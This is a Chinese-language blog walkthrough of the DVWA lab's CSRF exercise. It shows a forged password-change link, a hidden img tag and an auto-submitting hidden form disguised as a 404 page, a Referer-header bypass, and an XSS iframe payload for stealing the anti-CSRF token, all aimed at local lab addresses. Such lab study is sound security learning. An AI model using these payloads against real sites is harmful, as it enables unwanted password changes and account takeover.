WHAT’S CSRF?
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,也被称为one-click attack或者session riding,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
它通过伪装来自受信任用户的请求来利用受信任的网站。
LOW
首先我们构造一个链接,大概像这样
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
(这明眼人都看得出来在改密码吧)
但是如果有这么个没认真看的非酋,在他已经在浏览器登录了,然后还点了这个链接,那就只能恭喜他,他号没了~~
但是(对,就是还有一个但是)这个前提必须要是同一个浏览器才行,cookie不能跨浏览器使用,那如果换了一个浏览器打开呢,那也只是会返回到登录界面
那不如考虑把链接改造一下,比如生成短链接

(本地网址不支持)
这看起来还不太一样,缩短链接试试
但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。
在网上看到了写页面的方法https://www.freebuf.com/articles/web/118352.html
1 2 3 4 5
   | <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
  <h1>404<h1>
  <h2>file not found.<h2>
 
  | 
 
但是我这里运行的并不成功
不如换一种写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
   | <html>
  <head>
 
  <title>ls</title>
  <script>
 
  function attack() { document.getElementById("submit").submit(); }
  </script>
  </head>
  <body onload="attack()">
  <form action= "http://192.168.1.104/dvwa/vulnerabilities/csrf" id="submit" > <input type="text" name=" password new" value= "hack" hidden>
 
  <input type="text" name= "password_conf" value= "hack" hidden>
  <input type="text" name="Change" value="submit" hidden>
 
  </form>
  <h1>404</h1>
  </body>
  </html>
 
  | 
 

但是这种方法,会返回到修改成功的界面上来
MEDIUM
来看看源码

和low不同的是,多了第5行
检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数以及要访问的主机名)
来抓包看看

也就是说只要http包头的Referer参数的值中包含主机名,即可绕过

在光标后面添加主机名的html即可成功,(我这里是对钓鱼网页进行抓包后修改)
也可以用x-forward-for修改referer
HIGH
从源码得知,我们需要token

利用xssstored,来获取token


然后我有了一个想法

利用短链接注入在xss漏洞中,引诱受害者点击该链接,即可实现改密
http://192.168.1.104/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change&user_token=<iframe src=”../csrf”onload=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)# 
但是后半段的代码并不能成为网页的一部分,失败尝试+1 
从理论上说我们可以写一个攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
   | <script type="text/javascript">
      function attack()
    {
     document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
    document.getElementById("transfer").submit(); 
    }
  </script>
   
  <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
  </iframe>
   
  <body onload="attack()">
    <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
     <input type="hidden" name="password_new" value="password">
      <input type="hidden" name="password_conf" value="password">
     <input type="hidden" name="user_token" value="">
    <input type="hidden" name="Change" value="Change">
     </form>
  </body>
 
  | 
 
但是,理想和现实,差距甚远。这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
IMPOSSIBLE
这个要求原密码,就没什么办法了吧。
参考链接:
https://blog.csdn.net/manok/article/details/103552937
https://www.freebuf.com/articles/web/118352.html